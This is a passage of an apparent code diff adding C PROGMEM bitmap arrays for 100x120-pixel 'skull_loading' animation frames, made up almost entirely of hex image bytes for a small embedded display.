0x0c, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x0c, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x82, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, + 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x02, 0x00, 0x00, 0x80, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, + 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x0c, 0x60, 0x04, 0x21, 0x88, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0a, 0x10, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0x23, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x63, 0x00, + 0x20, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x0c, 0x40, 0x04, 0x31, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x03, 0x18, 0x09, 0x04, 0x30, 0x09, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x04, 0x00, 0x12, 0x00, 0x00, 0x11, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, + 0x06, 0x10, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x0c, 0x20, 0x42, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x48, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0xc2, 0x10, 0x00, 0x01, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x02, 0x10, + 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x20, 0x00, 0x40, 0x05, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc0, 0x00, 0x00, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x80, 0x00, 0x40, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x31, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x64, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_8', 100x120px +const unsigned char bitmap_icon_skull_loading_8 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, + 0x08, 0x40, 0x10, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x00, 0x08, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x20, 0x18, 0x07, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x20, 0x44, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x83, 0x10, 0xe4, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x10, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x04, 0x30, + 0x00, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x0c, 0x60, 0x0a, 0x60, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0xe0, 0x90, 0x24, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x23, 0x10, 0x80, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x62, 0x80, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xc0, + 0x00, 0x00, 0x4f, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x84, 0x00, 0x00, 0x01, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x06, 0x10, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4f, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x40, 0x00, 0x86, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, + 0x00, 0x80, 0x01, 0x46, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x60, 0x00, + 0x00, 0x38, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x44, 0x01, 0x00, 0x00, 0x18, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x0c, 0x01, 0x80, 0x00, 0x19, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x0c, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x82, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x01, 0x00, 0x00, + 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x02, 0x00, 0x00, 0x80, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x0c, + 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0x42, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x00, 0x46, 0x21, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x03, 0x9c, 0x60, 0x4c, 0x21, 0x88, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0a, 0x32, 0x20, 0x4b, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0x63, 0x00, 0x20, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x80, + 0x20, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x04, 0x60, 0x00, 0x41, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x8c, 0x40, 0x04, 0x21, 0x8c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x03, 0x18, 0x99, 0x06, 0x31, 0x09, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x04, 0x00, 0x12, 0x20, 0x00, 0x11, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, + 0x06, 0x10, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x0c, 0x60, 0x42, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x80, 0x41, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x68, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0xc2, 0x10, 0x00, 0x81, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x02, 0x10, + 0x00, 0x81, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcc, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x24, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x20, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x24, 0x00, 0x4e, 0x05, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc0, 0x00, 0x0c, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x80, 0x00, 0x40, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x30, 0x00, 0x31, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x64, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_10', 100x120px +const unsigned char bitmap_icon_skull_loading_10 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, + 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xd3, 0x90, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x90, 0x60, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0xda, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x01, 0x9c, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, + 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0x00, 0x1c, 0x82, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x01, 0x0c, 0x02, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x0e, 0x00, 0x80, 0x31, 0xbc, 0x00, 